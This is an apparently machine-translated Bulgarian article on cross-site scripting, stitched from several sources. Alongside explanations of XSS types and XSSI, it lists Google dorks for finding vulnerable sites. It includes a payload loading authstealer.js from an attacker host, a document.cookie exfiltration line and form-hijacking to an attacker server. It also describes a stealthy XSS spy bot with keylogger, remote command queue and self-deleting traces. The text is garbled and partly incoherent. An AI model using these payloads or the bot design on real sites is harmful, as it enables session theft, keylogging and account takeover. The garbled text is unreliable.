Извличане на максимума от XSS уязвимостите. Лесен хак: Как да извлечете данни чрез включване на Cross Site Scripting Това е xss атака

етикет

Този етикет може да се използва за включване в скрипт от външен сайт.

Вашият сайт уязвим ли е за междусайтови скриптове?

XSS уязвимостите са сред най-често срещаните уязвимости на уеб приложенията в Интернет. За щастие е лесно да проверите дали вашият уебсайт или уеб приложение е уязвимо на XSS и други уязвимости, като просто се свържете с мен. Срещу малка такса, използвайки специални програми, ще сканирам вашия ресурс, ще намеря потенциални уязвимости и ще ви кажа как да ги премахнете.

Междусайтовият скрипт (XSS) е уязвимост, която включва инжектиране на код от страна на клиента (JavaScript) в уеб страница, която други потребители преглеждат.

Уязвимостта се дължи на недостатъчно филтриране на данните, които потребителят изпраща за вмъкване в уеб страницата. Много по-лесно е да се разбере с конкретен пример. Запомнете всяка книга за гости - това са програми, които са предназначени да приемат данни от потребителя и след това да ги показват. Да си представим, че книгата за гости не проверява и не филтрира въведените данни по никакъв начин, а просто ги показва.

Можете да начертаете най-простия си скрипт (няма нищо по-лесно от писането на лоши скриптове в PHP - много хора го правят). Но вече има много готови варианти. Например предлагам да започнете с Dojo и OWASP Mutillidae II. Там има подобен пример. В самостоятелна среда на Dojo отидете на тази връзка във вашия браузър: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Ако някой от потребителите влезе:

След това уеб страницата ще покаже:

Здравейте! Харесвам вашия сайт.

И ако потребителят въведе това:

Здравейте! Харесвам вашия site.alert("Pwned")

След това ще се покаже така:

Браузърите съхраняват много бисквитки за голям брой сайтове. Всеки сайт може да получава само запазени от него бисквитки. Например example.com е съхранил някои бисквитки във вашия браузър. Ако посетите another.com, този сайт (клиентски и сървърни скриптове) няма достъп до бисквитките, които example.com е съхранил.

Ако example.com е уязвим към XSS, това означава, че можем по някакъв начин да инжектираме JavaScript код в него и този код ще бъде изпълнен от името на example.com! Тези. Този код например ще има достъп до бисквитките на example.com.

Мисля, че всички си спомнят, че JavaScript се изпълнява в потребителски браузъри, т.е. при наличие на XSS, вграденият злонамерен код получава достъп до данните на потребителя, отворил страницата на уебсайта.

Вграденият код може да прави всичко, което JavaScript може, а именно:

• получава достъп до бисквитките на уебсайта, който разглеждате
• може да прави всякакви промени във външния вид на страницата
• достъп до клипборда
• може да внедрява JavaScript програми, например кийлогъри (прехващачи на натискания на клавиши)
• вземете BeEF
• и т.н.

Най-простият пример с бисквитки:

предупреждение (document.cookie)

Всъщност предупреждението се използва само за откриване на XSS. Истинският злонамерен полезен товар извършва скрити действия. Той тайно се свързва с отдалечения сървър на нападателя и прехвърля откраднати данни към него.

Най-важното нещо, което трябва да разберете за типовете XSS е, че те са:

• Съхранено (постоянно)
• Отразено (непостоянен)

Пример за константи:

• Специално създадено съобщение, въведено от нападателя в книгата за гости (коментар, съобщение във форума, профил), което се запазва на сървъра, се изтегля от сървъра всеки път, когато потребителите поискат да покажат тази страница.
• Нападателят получава достъп до данните на сървъра, например чрез SQL инжектиране, и въвежда злонамерен JavaScript код (с kilologgers или BeEF) в данните, дадени на потребителя.

Пример за непостоянни:

• Има търсене в сайта, което заедно с резултатите от търсенето показва нещо като „Търсихте: [низ за търсене]“ и данните не са филтрирани правилно. Тъй като такава страница се показва само на лицето, което има връзка към нея, атаката няма да работи, докато атакуващият не изпрати връзката на други потребители на сайта. Вместо да изпращате връзка към жертвата, можете да използвате поставянето на злонамерен скрипт на неутрален сайт, който жертвата посещава.

Те също така разграничават (някои като вид непостоянни XSS уязвимости, някои казват, че този тип може да бъде и тип постоянен XSS):

• DOM модели

Казано много просто, можем да видим злонамерения код на „обикновения“ непостоянен XSS, ако отворим HTML кода. Например, връзката се формира по следния начин:

Http://example.com/search.php?q="/>alert(1)

И когато отворим изходния HTML код, виждаме нещо подобно:

предупреждение(1)" /> Намиране

И DOM XSS променя DOM структурата, която се формира в браузъра в движение, и можем да видим злонамерен код само когато преглеждаме генерираната DOM структура. HTML не се променя. Нека вземем този код като пример:

site:::DOM XSS Възникна грешка... функция OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) функция get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (резултати) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( върне null; ) ) display_session = OnLoad(); document.write("Идентификаторът на вашата сесия беше: " + display_session + "

")

След това в браузъра ще видим:

Изходният код на страницата:

Нека формираме адреса така:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Сега страницата изглежда така:

Но нека да разгледаме изходния код на HTML:

Там абсолютно нищо не се е променило. Това е, за което говорех, трябва да разгледаме DOM структурата на документа, за да идентифицираме зловреден код:

Ето работещ XSS прототип, за истинска атака се нуждаем от по-сложен полезен товар, което не е възможно поради факта, че приложението спира да чете веднага след точка и запетая и нещо като alert(1);alert(2) не е по-дълго възможно. Въпреки това, благодарение на unescape() можем да използваме полезен товар като този в върнатите данни:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Къде сме заменили символа; към URI-кодирания еквивалент!

Вече можем да напишем злонамерен JavaScript полезен товар и да съставим връзка, която да изпратим на жертвата, както се прави за стандартния непостоянен междусайтов скрипт.

В Google Chrome (а също и в Opera, която сега използва двигателя на Google Chrome) ме очакваше тази изненада:

dom_xss.html:30 XSS одиторът отказа да изпълни скрипт в "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" тъй като неговият изходен код е намерен в заявката. Одиторът беше активиран, тъй като сървърът не изпрати нито заглавка „X-XSS-Protection“, нито „Content-Security-Policy“.

Тези. браузърът вече има XSS одитор, който ще се опита да предотврати XSS. Firefox все още няма тази функционалност, но мисля, че е въпрос на време. Ако внедряването в браузърите е успешно, тогава можем да говорим за значителна трудност при използването на XSS.

Добре е да запомните, че съвременните браузъри предприемат стъпки за ограничаване на нивото на експлоатационните проблеми като непостоянен XSS и базиран на DOM XSS. Това също е нещо, което трябва да запомните, когато тествате уебсайтове с помощта на браузър - може да се окаже, че уеб приложението е уязвимо, но не виждате изскачащото потвърждение само защото браузърът го блокира.

Нападателите, които възнамеряват да експлоатират уязвимости на междусайтови скриптове, трябва да подходят към всеки клас уязвимост по различен начин. Векторите на атака за всеки клас са описани тук.

За XSS уязвимости атаките могат да използват BeEF, който разширява атаката от уебсайта към локалната среда на потребителите.

Пример за непостоянна XSS атака

1. Алис често посещава определен уебсайт, хостван от Боб. Уебсайтът на Боб позволява на Алис да влиза с потребителско име/парола и да съхранява чувствителни данни, като например информация за плащане. Когато потребител влезе, браузърът съхранява бисквитки за оторизация, които изглеждат като безсмислени знаци, т.е. и двата компютъра (клиент и сървър) помнят, че тя е влязла.

2. Малори отбелязва, че уебсайтът на Боб съдържа непостоянна XSS уязвимост:

2.1 Когато посетите страницата за търсене, въведете низа за търсене и щракнете върху бутона за изпращане, ако не бъдат намерени резултати, страницата показва въведения низ за търсене, последван от думите „не е намерено“ и URL адресът изглежда като http://bobssite .org?q= нейната заявка за търсене

2.2 При нормална заявка за търсене като думата "кучета", страницата просто показва "няма открити кучета" и URL адреса http://bobssite.org?q=кучета, което е напълно нормално поведение.

2.3 Въпреки това, когато аномална заявка за търсене като alert("xss"); :

2.3.1 Появява се предупредително съобщение (което казва "xss").

2.3.2 Страницата показва предупреждение ("xss"); не е намерен заедно със съобщение за грешка с текст "xss".

2.3.3 url, подходящ за експлоатация http://bobssite.org?q=alert("xss");

3. Малори създава URL адрес, за да използва уязвимостта:

3.1 Тя прави URL адреса http://bobssite.org?q=puppies. Тя може да избере да преобразува ASCII символи в шестнадесетичен формат като http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E в ред за да попречи на хората незабавно да дешифрират злонамерен URL адрес.

3.2 Тя изпраща имейл на някои нищо неподозиращи членове на сайта на Боб, казвайки: „Вижте готините кучета“.

4. Алис получава писмо. Тя обича кучета и кликва върху връзката. Отива на сайта на Боб в търсенето, не намира нищо, там се показва „не е намерено куче“, а в средата се стартира таг със скрипт (не се вижда на екрана), изтегля и изпълнява Малори програма authstealer.js (задействаща XSS атака). Алис забравя за това.

5. Програмата authstealer.js работи в браузъра на Alice, сякаш произлиза от уебсайта на Bob. Тя грабва копие от бисквитките за оторизация на Алис и ги изпраща до сървъра на Малори, където Малори ги извлича.

7. Сега, когато Малори е вътре, тя отива в секцията за плащане на уебсайта, поглежда и открадва копие от номера на кредитната карта на Алис. След това тя отива и сменя паролата, т.е. Сега Алис дори вече не може да влезе.

8. Тя решава да направи следващата стъпка и изпраща така конструирания линк на самия Боб и така получава административни привилегии за сайта на Боб.

Постоянна XSS атака

Доркове за XSS

Първата стъпка е да изберем сайтовете, на които ще извършваме XSS атаки. Сайтовете могат да се търсят с Google dorks. Ето няколко от тези глупаци, които можете да копирате и поставите в търсене с Google:

• inurl:search.php?q=
• inurl:.php?q=
• inurl:search.php
• inurl:.php?search=

Пред нас ще се отвори списък със сайтове. Трябва да отворите сайта и да намерите в него полета за въвеждане, като форма за обратна връзка, форма за въвеждане, търсене в сайта и др.

Нека веднага да отбележа, че е почти безполезно да се търсят уязвимости в популярни автоматично актуализирани уеб приложения. Класически пример за такова приложение е WordPress. Всъщност има уязвимости в WordPress и особено в неговите добавки. Освен това има много сайтове, които не актуализират нито двигателя на WordPress (поради факта, че уеб администраторът е направил някои промени в изходния код), нито техните плъгини и теми (като правило това са пиратски плъгини и теми). Но ако прочетете този раздел и научите нещо ново от него, тогава WordPress все още не е за вас... Определено ще се върнем към него по-късно.

Най-добрите цели са разнообразие от самостоятелно написани двигатели и скриптове.

Можете да изберете полезен товар за вмъкване като

предупреждение (1)

Обърнете внимание на кои HTML кодови тагове попада вашият вграден код. Ето пример за типично поле за въвеждане:

предупреждение (1)

Нашият полезен товар ще свърши там, където сега е думата "калъфка за възглавници". Тези. превърне в стойността на тага за въвеждане. Можем да избегнем това - затваряме двойните кавички, а след това и самия таг с "/>".

"/>предупреждение(1)

Нека опитаме за някой сайт:

Страхотно, има уязвимост

Вероятно всички скенери за уеб приложения имат вграден XSS скенер за уязвимости. Тази тема не е изчерпателна, по-добре е да се запознаете с всеки подобен скенер поотделно.

За възможността за получаване на различна информация от сайтове на трети страни с помощта на проста атака - Cross Site Scripting Inclusion (XSSI).

Ако четете Easy Hack систематично, тогава вероятно вече сте много запознати с политиката за един и същи произход (SOP), ние често се връщаме към нея. Поради SOP способността за взаимодействие между двата „сайта“ е много ограничена. Но тъй като задачата за получаване и изпращане на информация на един сайт от друг възниква често, бяха въведени различни методи за „омекчаване“ на политиката и организиране на взаимодействие. Например като CORS или crossdomain.xml. Един от по-старите методи е зареждане на JavaScript от друг домейн чрез . SOP не ни ограничава по никакъв начин: можете да посочите почти произволно местоположение.

Например, има хост на нападател evil.ru и уебсайт на жертва - žrtve.com. На evil.ru можем да поставим HTML файл и връзка към всеки скрипт от жертвата:

Когато потребител влезе в уебсайта на нападателя, браузърът ще зареди и стартира JS от žrtve.com, но в контекста на SOP evil.ru. Това означава, че от JS на нападателя ще имаме достъп до (не всички) JS данни от сървъра на жертвата.

Например JS съдържание от сайта на жертвата (http://victim.com/any_script_.js):

Var a = "12345";

След това на уебсайта на атакуващия можем да получим стойността на променливата:

console.log(a);

Идеята на работата е проста като алуминиев чайник.

Всъщност възможността за зареждане на статичен JS от други сайтове не създава повече проблеми за сайта жертва от зареждането на изображение.

Проблеми могат да възникнат, когато JS се генерира динамично, т.е. когато съдържанието на JS скрипта се променя въз основа на данни от бисквитката в зависимост от това кой потребител има достъп до него. Например, JS съхранява някаква „критична“ информация: лична информация (имейл, потребителско име на сайта на жертвата) или техническа информация (анти-CSRF токени).

Но както знаем, когато зарежда скрипт чрез таг, браузърът на потребителя автоматично изпраща бисквитка на потребителя. Събирайки тези факти, можем да получим информация за всеки потребител, който е посетил уебсайта на атакуващия и е влязъл в сайта на жертвата.

Какво можем да разберем? Глобални променливи и резултатите от глобалните функции. За съжаление, няма да имаме достъп до вътрешни променливи/функции (въпреки че може би някой ще намери начин да направи и това).

Функция test())( връщане на "частни данни от функцията"; )

Тази атака изглежда възможна, но изглежда твърде проста и не би трябвало да е често срещана. Това прави презентацията в Black Hat интересна. Изследователите анализираха 150 популярни уебсайта и установиха, че една трета от тях са уязвими до известна степен. Тази статистика ни кара да погледнем проблема малко по-внимателно.

Беше разкрит и друг модел. Политиката за сигурност на съдържанието става все по-често срещана. Както знаете, с него можем да посочим от кои домейни може да се зарежда този или онзи ресурс. Например, можете да кажете да изпълнявате JS само от същия ресурс. В допълнение, най-добрите практики за настройка на CSP включват забрана на изпълнението на вграден JS (т.е. код, който се намира директно в HTML, а не се зарежда от JS файл).

Въпреки това, прехвърлянето на линия към файлове може да се направи с патерици и набързо - тоест чрез динамично генерирани скриптове. Тъй като CSP няма ефект върху XSSI, можем отново да извършим нашите атаки. Това е толкова лоша практика.

Междусайтовият скрипт (накратко XSS) е широко разпространена уязвимост, засягаща много уеб приложения. Той позволява на атакуващ да инжектира злонамерен код в уебсайт по такъв начин, че браузърът на потребител, посещаващ сайта, да изпълни кода.

Обикновено използването на такава уязвимост изисква известно взаимодействие с потребителя: или той е привлечен към заразен сайт чрез социално инженерство, или просто изчаква потребителят да посети сайта. Поради това разработчиците често не приемат XSS уязвимостите на сериозно.

Но ако не бъдат адресирани, те могат да представляват сериозен риск за сигурността.

Нека си представим, че сме в админ панела на WordPress и добавяме ново съдържание. Ако използваме XSS-уязвим плъгин за това, той може да принуди браузъра да създаде нов администратор, да промени съдържанието и да извърши други злонамерени действия. Скриптирането между сайтове дава на атакуващия почти пълен контрол върху най-важната част от софтуера в наши дни – браузъра.

Всеки уебсайт или приложение има няколко места за въвеждане на данни - полета на формуляра до самия URL адрес. Най-простият пример за въвеждане на данни е, когато въвеждаме потребителско име и парола във формуляр:

Нашето име ще бъде съхранено в базата данни на сайта за последващи взаимодействия с нас. Със сигурност, когато влезете в който и да е уебсайт, сте видели личен поздрав в стила на „Добре дошъл, Иля“.

Именно за такива цели потребителските имена се съхраняват в базата данни.

Инжектирането е процедура, при която вместо име или парола се въвежда специална последователност от знаци, принуждавайки сървъра или браузъра да реагира по определен начин, желан от нападателя.

Междусайтовият скрипт е инжекция, която инжектира код, който ще извършва действия в браузъра от името на уебсайта. Това може да се случи или с известяване на потребителя, или във фонов режим, без негово знание.

Отразена XSS атака се задейства, когато потребител кликне върху специално създадена връзка.

Тези уязвимости възникват, когато данните, предоставени от уеб клиент, най-често в параметри на HTTP заявка или в HTML форма, се изпълняват директно от сървърни скриптове за анализиране и показване на страница с резултати за този клиент, без подходяща обработка.

Съхраненият XSS е възможен, когато атакуващ успее да инжектира злонамерен код в сървъра, който се изпълнява в браузъра всеки път, когато се осъществи достъп до оригиналната страница. Класически пример за тази уязвимост са форумите, които позволяват HTML коментари.

Същото като в случая със сървърната страна, само че в този случай атаката е възможна поради факта, че кодът се обработва от браузъра.

Подобно на XSS, съхраняван от страна на сървъра, само че в този случай злонамереният компонент се съхранява от страната на клиента, използвайки хранилище на браузъра.

Интересното е, че в повечето случаи, когато тази уязвимост е описана, ние се плашим със следния код:

Http://www.site.com/page.php?var=alert("xss");

Има два вида XSS уязвимости – пасивни и активни.

Активна уязвимосте по-опасно, тъй като нападателят не трябва да примамва жертвата чрез специална връзка; той просто трябва да инжектира кода в базата данни или в някакъв файл на сървъра. Така всички посетители на сайта автоматично стават жертви. Може да се интегрира, например, с помощта на SQL инжекция. Следователно не трябва да се доверявате на данните, съхранявани в базата данни, дори ако са били обработени по време на вмъкване.

Пример пасивна уязвимостМожете да го видите в самото начало на статията. Това вече изисква социално инженерство, например важно писмо от администрацията на сайта с молба да проверите настройките на акаунта си след възстановяване от резервно копие. Съответно, трябва да знаете адреса на жертвата или просто да организирате спам или да публикувате в някой форум и не е факт, че жертвите ще бъдат наивни и ще последват вашата връзка.

Освен това параметрите POST и GET могат да бъдат податливи на пасивна уязвимост. С POST параметрите, разбира се, ще трябва да прибягвате до трикове. Например пренасочване от уебсайт на нападател.

document.getElementsByTagName("form").submit();

Следователно уязвимостта на GET е малко по-опасна, защото... За жертвата е по-лесно да забележи неправилен домейн, отколкото допълнителен параметър (въпреки че URL адресът обикновено може да бъде кодиран).

Това е най-често цитираният пример за XSS атака. Уебсайтовете понякога съхраняват ценна информация в бисквитки (понякога дори данните за вход и парола на потребителя (или неговия хеш)), но най-опасното нещо е кражбата на активна сесия, така че не забравяйте да щракнете върху връзката „Изход“ на уебсайтове , дори и да е домашен компютър. За щастие, на повечето ресурси продължителността на сесията е ограничена.

Var img = ново изображение(); img.srс = "http://site/xss.php?" + document.cookie;

Ето защо те въведоха ограничения на домейна на XMLHttpRequest, но това не е проблем за нападателя, тъй като има, , , фон:url(); и така нататък.

Търсим формуляра чрез например getElementById и наблюдаваме събитието onsubmit. Сега, преди да изпратите формуляра, въведените данни също се изпращат до сървъра на атакуващия.

Този тип атака донякъде напомня на фишинг, само че използва истински сайт, а не фалшив, което вдъхва повече доверие на жертвата.

XSS уязвимост на силно посещавани ресурси може да се използва за стартиране на DDoS атака. Същността е проста - има много заявки, които атакуваният сървър не може да издържи.
Всъщност връзката с XSS е косвена, тъй като скриптовете може изобщо да не се използват, конструкция като тази е достатъчна:

Как можете да защитите сайта си от XSS? Как да проверите кода си за уязвимости? Има технологии като Sucuri Firewall, които са специално проектирани да избягват подобни атаки. Но ако сте разработчик, определено ще искате да научите повече за това как да идентифицирате и смекчите уязвимостите на XSS.

Ще говорим за това в следващата част на статията за XSS.

Всички отдавна знаят, че най-често, използвайки XSS, нападателят се опитва да изпрати бисквитка на жертвата, да прочете CSRF токени, да извърши фишинг атака (чрез създаване на фалшива форма за влизане), да извърши някакво действие от името на потребителя и някои други подобни атаки (може би това не са всички възможности, но това са всички най-популярни, известни ми в момента).

Целта на този метод е да наблюдава страниците от името на потребителя, които той навигира в атакувания сайт, както и да следи неговите натискания на клавиши (можете също да използвате движения на мишката и щраквания, но за мен това ще бъде ненужно, не особено полезно информация, в повечето случаи със сигурност) .
Сега относно максималната полза - вярвам, че алгоритъмът ще бъде такъв:

• четат и изпращат бисквитки;
• прочетете и изпратете останалата информация (IP адрес, инсталирани плъгини, версия и тип на браузъра, флаш поддръжка, поддръжка на silverlight и т.н.) [по избор]
• получаване на информация за вътрешната мрежа, проникване в рутера [по избор]
• чете и изпраща различни токени [по избор];
• прилагане на фишинг [по избор];
• правим нещо „с ръцете на потребителя“ [по избор];
• продължаваме да го шпионираме и да получаваме информация, докато той затвори раздела или напусне сайта;

Всички незадължителни елементи от списъка IMHO трябва да се изпълняват в зависимост от ситуацията и конкретните приоритети за целите, които трябва да бъдат постигнати с помощта на XSS, те понякога могат да си пречат един на друг (ако се опитате да ги комбинирате или по-скоро да изпълните един след друг) и увеличават вероятността от неуспех на XSS операцията.
Но първата и последната точка винаги трябва да бъдат изпълнени, във всеки случай.Всъщност основната част на статията ще бъде за последната точка от този списък.

Ще започна отдалеч: чрез JavaScript е възможно да промените пътя в адресната лента, без да презареждате страницата. Например, ако потребител зареди страница на

Но тази техника има още по-интересни и мощни приложения. Ние ще симулираме престоя на потребителя на сайта след щракване върху връзката, всъщност той ще остане на една страница през цялото време и по това време ще работи скрипт на трета страна, извличайки и изпращайки информация на нападателя. По този начин, XSS ще работи, докато потребителят кликне върху връзка в този домейн .

Общият принцип на работа е следният: когато потребител влезе в страница с XSS, скриптът създава iframe със същия адрес като страницата и го „прикачва“ към преден план, потребителят получава впечатлението, че страницата се е заредила нормално, т.к. iframe може да се види само в кодовите страници.

И спомагателният скрипт контролира логиката на шпионския бот, тоест следи кога адресът в рамката се променя, за да го промени в адресната лента, но ако новопромененият адрес на рамката има различен домейн, тогава можете да отворите в нов раздел или ще трябва да презаредите страницата, за да не се изгорите.
По този начин, за да спре изпълнението на XSS в момента, потребителят трябва или да опресни страницата ръчно (ако XSS е отразен и е бил предаден чрез метода POST, в други случаи актуализацията няма да помогне и между другото, някои браузърите вече могат да изпратят POST заявка отново, когато актуализират страницата) или да затворят раздела или да превключат към друг домейн (въпреки че в този случай все още можете да избегнете загубата на контрол).

Ако отиде до поддомейн на атакувания домейн, тогава това е изборът на атакуващия, тоест XSS ще работи, но има малък шанс потребителят да открие несъответствие между адреса. Мисля, че в зависимост от ситуацията, например, ако домейнът google.ru е бил атакуван, потребителят е преминал към облачната файлова услуга на Google, която обикновено се намира в поддомейна drive.google.ru, тогава вероятността той да забележи уловката когато гледате адресната лента е доста висока, ако често е използвал тази услуга. В противен случай може и да поемете риск. Но трябва да вземем предвид, че вече няма да можем да четем данните му от рамка с поддомейн, тъй като Cross Origin Policy няма да го позволи. Но можем безопасно да сърфираме в основния домейн от негово име в скрит режим (повече за това по-долу).

Само този метод има ограничения, а именно, няма да работи, ако отговорите на уеб сървъра на сайта съдържат заглавка X-Frame-Options със стойност DENY. Но лично аз съм попадал на такива сайтове буквално няколко пъти, сега дори половината от тях нямат зададен SAMEORIGIN, да не говорим за пълното ограничение през ОТКАЗАЙ.

Сега мнозина вероятно си спомнят такова прекрасно нещо като BeEF, което също има много интересни неща. Между другото, има и опция за принудително пренасочване на потребителя в рамката, но адресът в адресната лента не се променя, което може бързо да изгори бюрото и тази опция служи за малко по-различни цели.
Като цяло BeEF има почти всичко необходимо и дори много допълнителни функции, но лично аз исках допълнителна функционалност, а именно:

• възможност за наблюдение на кода на страниците, които са достъпни за атакувания потребител в реално време;
• възможността да вижда всичко, което въвежда на този сайт (от потребителско име и парола, до клавишни комбинации и съобщения), тоест кийлогър в JS;
• възможността да давате JS команди на вашия бот в реално време, след преглед на кода на получените страници;
• възможността да оставяме команди на бота локално, така че той по-късно да ги „вземе“ и да ги изпълни без нашето пряко участие;
• по-малка вероятност ботът да бъде изгорен или способността на бота да се „скрие“ от любопитни очи;

Както споменах по-горе, реших да заема страхотната идея за опашка за изпълнение на команди от BeEF. Например анализирахме страниците, които ботът изпусна, когато привилегирован потребител влизаше в контролния си панел със съхранен XSS, оставяме команди на бота - JS код, като например следващия път, когато потребителят влезе, щракнете върху този бутон, напишете това стойност тук и т.н., следващия път, когато този потребител посети страницата, ботът чете командите и ги изпълнява и не е нужно ние да сме начело за всичко - това е много удобно.

По принцип такъв бот, разбира се, е предназначен за потребители с висок статус на някои сайтове, които имат допълнителни „лостове“ за управление на съдържание, други потребители и т.н. От заявките за функционалност става ясно, че не можем без сървърната част.

По принцип можете да пропуснете тази част от статията, тъй като тя просто описва процеса на внедряване на желания бот и някои от неговите подробности, в случай че някой иска да го преработи или персонализира за себе си. Въпреки че ботът ще има променливи в началото на кода, чрез които можете да зададете някои настройки.
Първо, алгоритъмът на действията на бота от момента на зареждане:

1) Проверка за наличие на заглавка X-Frame-Опции: ОТКАЗВАНЕ(ако има такъв, тогава навиваме въдиците);
2) Вграждане на рамка и настройка на всички компоненти на бота;
3) Премахване на скрипта и всички следи в HTML кода;
4) Установяване на контакт със сървърната част и започване на изпращане на данни, отговаряне на отговори (получаване на команди от сървъра);

Първата точка не е изпълнена напълно, тоест ботът проверява само първата страница и основния хедър. Факт е, че обикновено тези хедъри се вграждат от уеб сървъра за всички страници наведнъж и е много рядко за една страница всичко да се прави „ръчно“. И самото това заглавие е доста рядко. Е, няма много какво да се каже за второто и третото, всичко ще бъде по-долу.

Има сравнително важен момент, че преди да добавите код на скрипт на бот във вашия код, трябва незабавно да се отървете от знаците XSS в адресната лента (от JS кода), тъй като това намалява шансовете за откриване и, най-важното, предотвратява рекурсията това се случва при добавяне на адрес към рамката със същия XSS код, който от своя страна създава друга рамка със себе си и т.н.

Но за всеки случай кодът на бота изпълнява възможността да открива такава рекурсия на рамка и да я предотвратява при първия опит за добавяне на рамка към вече създадена, но е по-добре да не разчитате само на нея, а допълнително да премахнете кода преди да заредите кода на бота. Въпреки че все още не съм срещал никакви проблеми.

Функция за проверка на актуализацията на рамката. Опитах няколко начина за икономично разрешаване на този проблем чрез окачване на манипулатори на събития contentWindowили contentDocument, но нищо не работеше, така че трябваше да напиша функция, която да проверява адреса на кадъра и да го сравнява с предишния записан и въз основа на това да решава дали кадърът се актуализира (дали адресът се е променил) и след това се нарича рекурсивно.

Честотата на такива проверки в секунда се контролира от променливата забавяне, който е посочен в началото на кодовия файл на бота. Но по-късно, след като вече го написах, намерих по-ефективно решение - използвайте просто решение и закачете зарежданекъм рамката, така че оставих тази функция, но я коментирах, в случай че по-късно се окаже, че е по-търсена.

Схемата тук е доста проста - след всяко презареждане на рамка (включително първото зареждане), ботът изпраща на сървъра целия HTML код на страницата заедно с текущия й адрес, така че по-късно да можете да различите дали кодът принадлежи на желания страници.

Сървърът реализира логиката на съхраняване на страници - сървърът създава папка за всеки домейн с името на този домейн и записва всички данни там. Кодовете на страниците се запазват и постоянно се актуализират до най-новите версии, но всеки нов ден се създава ново копие на страницата, така че да можете да контролирате историята на версиите, ако е необходимо. Това е за /новини.phpНа 1 септември състоянието ще бъде актуализирано, а на 2 септември ще бъде създадено негово копие, актуално само за този ден и така всеки ден отново (ако потребителят посещава тази страница всеки ден). Името на страницата се състои от датата и пътя до тази страница спрямо основата на сайта (т.е. без домейна).

Идеята вече беше реализирана от някои ентусиасти, но работата им не беше подходяща за мен, дори само защото повечето от тях бяха доста прости, тоест откриваха кода на натиснатия клавиш и през String.fromCharCodeпреведени в символи. Но този метод има редица недостатъци - контролните клавиши като shift, control, интервал и т.н. не се превеждат в никаква форма (често просто в празен знак), взаимодействието на буквено-цифровите клавиши с shift се регистрира неправилно, тъй като това трябва да се реализират програмно и също така всички натиснати клавиши се показват в главни букви, което също може да бъде коригирано програмно.

Резултатът беше кийлогър, който правилно откриваше всички клавиши на цифри, букви и основни символи, работейки и на двете оформления, реагирайки на shift и регистрирайки всички основни специални клавиши. Вярно е, че някои знаци (в горната част на числовия ред, които се отпечатват при натискане на shift и цифра) може да се различават на някои машини, тъй като са внедрени според основния стандарт, който някои компании променят.
Всяка натисната част от знаци се задържа от клиента, докато текстовият елемент не загуби фокуса. След това тази част се изпраща на сървъра, където се записва в текстов файл, който също ще се създава всеки ден с ново копие, така че да не нараства до големи размери и можете бързо да намерите това, което потребителят въвежда по това време.
В допълнение към самите ключове, с всяка част на сървъра се изпраща информация за елемента, в който е въведен текстът (т.е. дали , [ или някои когато потребителят е използвал бързи клавиши), в допълнение към името на елемента се изпращат основните му данни (id, име, клас - ако има), така че да могат лесно да бъдат намерени в кода. И разбира се, записват се адреса на страницата, на която е извършено набирането и приблизителното време на това набиране. Като цяло се изпраща достатъчно информация за докосването на клавиатурата от страна на потребителя за последващ анализ.

Този процес може да бъде извършен от нападателя или от страната, където ботът ще изпълнява сървърната страна, или дори отдалечено. След стартиране на сървърния скрипт се стартира самостоятелно написан миниатюрен уеб сървър, който обслужва заявки от бота и неговия контролер, който работи през уеб интерфейса. Тоест след стартиране уеб сървърът издава връзка, като отидете на която можете да започнете да давате команди на бота.

Относно този контролен панел. Първо, беше необходимо да го ограничите с парола (пътят и малко хора ще знаят за работещата услуга на такъв и такъв порт или за адреса, на който трябва да отидат, за да използват тази услуга), така че при първото влизане сървърът ще поиска парола, която се предоставя в адресната лента (ще бъде предоставен пример), оригиналната парола се съхранява в парола.txt, които могат да бъдат променяни. След първото влизане уеб сървърът ще инструктира браузъра да запази паролата в бисквитка, така че не е нужно да се притеснявате повече за това.

На самата страница за изпращане на команди към бота има и информация за състоянието на бота - дали е онлайн или офлайн в момента и няколко настройки, първата от които е хост, тоест IP адрес или домейн на сайта, към който ще се изпращат команди към бота. Това е предназначено в случай, че няколко сайта съдържат този бот, така че да могат да бъдат идентифицирани. На сървъра, също и за този случай, всички данни са разделени в папки с имена на домейни.
Следва прозорец, където можете да пишете команди на бота в JS, и опция, която задава къде ще се изпълнява този JS код, в главния прозорец, където седи ботът или в рамка - това се прави за удобство, за всеки случай .

Ако ботът не е онлайн, тогава сървърът просто запазва командите и по-късно, когато ботът стане онлайн, т.е. потребителят отново посети страницата с него или следва връзката на нападателя, тези команди ще бъдат изпълнени.
Това е много удобно, ако по време на първото разузнаване ботът изпусна всички посетени от потребителя страници (например личен акаунт), след като проучи кода, на който написахме команди в JS, така че ботът след това да щракне върху връзките, от които се нуждаем, въведете необходимите данни, покажете необходимите снимки и т.н., което ще помогне за постигане на вашата цел.

Или можете директно в реално време, бързо да прегледате съдържанието на страниците чрез кода и да дадете команди на бота, така че да изпрати кода на други страници, да отиде на друг адрес и т.н. И всичко това ще бъде направено „зад екран” на потребителя, който спокойно ще сърфира в сайта през рамка.

За ваше удобство можете да формирате най-често използваните инструкции в цели функции в JS, които след това се въвеждат в изходния файл на бота ( xsb.js, повече за файловата структура по-долу) и използвайте. Или използвайте онези функции, които са включени в бота, въпреки че има само основите и няма нищо ново, но например можете да използвате функцията за изпращане на кода на страницата по всяко време, а не когато рамката се презарежда. Можете да напишете функция, която ще отваря предадените към нея връзки в нови рамки във фонов режим, за да видите съдържанието на няколко страници наведнъж от името на потребителя (и да работите с това съдържание с неговите виртуални ръце).

Е, последната функция е реализирана доста просто (може да бъде деактивирана чрез задаване на желаната променлива във файла, те са коментирани). Скриптът, след настройка и окачване на всички манипулатори на събития, създаване на всички променливи и функции, се изтрива

В крайна сметка всички данни вече са заредени в RAM чрез браузъра, така че няма за какво да се притеснявате, но това е на теория, може би по-късно ще има някои проблеми, които не взех под внимание, затова създадох променлива които могат да се използват за деактивиране на тази функция при необходимост.

След изтриването на всички скриптове ще бъде изключително трудно да забележите XSS, тъй като наличието на рамка не показва това съвсем индиректно, а самият код може да бъде намерен само в регистрационните файлове на историята на мрежовия трафик на браузъра (които не се съхраняват по подразбиране в много браузъри, ако панелът за разработчици не е отворен) .

